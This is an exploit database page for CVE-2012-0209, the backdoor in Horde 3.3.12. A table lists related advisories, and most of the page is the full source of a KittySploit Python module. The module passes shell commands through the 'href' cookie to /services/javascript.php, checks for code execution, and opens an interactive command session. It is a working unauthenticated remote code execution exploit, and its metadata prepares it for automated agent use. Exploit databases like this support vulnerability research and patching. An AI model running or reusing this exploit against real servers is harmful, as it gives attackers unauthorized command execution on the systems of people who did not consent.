Horde javascript.php Backdoor RCE (CVE-2012-0209)
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| Horde 3.3.12 Backdoor Arbitrary PHP Code Execution | 17 Feb 201200:00 | – | zdt | |
| CVE-2012-0209 | 17 Feb 201200:00 | – | circl | |
| Horde FTP Server Backdoor Arbitrary PHP Code Execution (CVE-2012-0209) | 23 Dec 201200:00 | – | checkpoint_advisories | |
| CVE-2012-0209 | 25 Sep 201222:00 | – | cve | |
| CVE-2012-0209 | 25 Sep 201222:00 | – | cvelist | |
| DSquare Exploit Pack: D2SEC_HORDE_BACKDOOR | 25 Sep 201222:55 | – | d2 | |
| Horde RCE | 15 Feb 201200:00 | – | dsquare | |
| Horde 3.3.12 - Backdoor Arbitrary PHP Code Execution (Metasploit) | 17 Feb 201200:00 | – | exploitdb | |
| Horde 3.3.12 open_calendar.js Backdoor | 17 Feb 201200:00 | – | nessus | |
| Horde - javascript.php Backdoor Detection (CVE-2012-0209) | 10 Aug 202606:19 | – | kittysploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Horde javascript.php backdoor RCE (CVE-2012-0209) — execute session."""
from __future__ import annotations
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Horde javascript.php Backdoor RCE (CVE-2012-0209)',
'description': (
'Exploits CVE-2012-0209 by passing shell commands through the href Cookie '
'to /services/javascript.php. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2012-0209'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2012-0209',
],
'tags': ['horde', 'groupware', 'backdoor', 'rce', 'unauth', 'cve-2012-0209'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'javascript.php href cookie'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/cve_2012_0209_detect'],
},
},
}
base_path = OptString('', 'Horde base path (e.g. /horde)', False, advanced=True)
def _bases(self) -> list[str]:
base = str(self.base_path or '').strip().rstrip('/')
if base:
return [base]
return ['/horde', '', '/groupware']
def execute(self, cmd: str) -> str:
bases = [getattr(self, '_hit_base', None)] if getattr(self, '_hit_base', None) is not None else self._bases()
query = '?app=horde&file=open_calendar.js'
for base in bases:
if base is None:
continue
path = f'{base}/services/javascript.php{query}'
r = self.http_request(
method='GET',
path=path,
headers={'Cookie': f'href={cmd}'},
allow_redirects=False,
)
if r:
self._hit_base = base
return r.text or ''
return ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2012-0209 confirmed via id output',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'javascript.php href cookie did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 06:36Current
6Medium risk
Vulners AI Score6
CVSS 27.5
EPSS0.71897